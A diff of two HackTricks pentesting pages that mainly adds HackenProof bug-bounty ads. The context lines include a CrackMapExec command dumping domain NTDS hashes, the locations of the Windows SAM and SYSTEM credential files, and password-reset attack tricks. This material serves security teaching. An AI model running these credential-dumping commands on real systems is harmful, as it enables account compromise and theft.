[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}

22
pentesting-web/reset-password.md
View file

@ -12,6 +12,17 @@
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
The following techniques recompilation was taken from [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Password Reset Token Leak Via Referrer
@ -310,6 +321,17 @@ The **reset tokens must have an expiration time**, after it the token shouldn't
* Long password (>200) leads to DoS
* Append second email param and value
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

63
windows-hardening/stealing-credentials/README.md
View file

@ -4,18 +4,25 @@
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Credentials Mimikatz
```bash
@ -159,6 +166,19 @@ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Stealing SAM & SYSTEM
This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected.
@ -316,18 +336,25 @@ Download it from:[ http://www.tarasco.org/security/pwdump\_7](http://www.tarasco
[**Learn about some credentials protections here.**](credentials-protections.md)
​
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>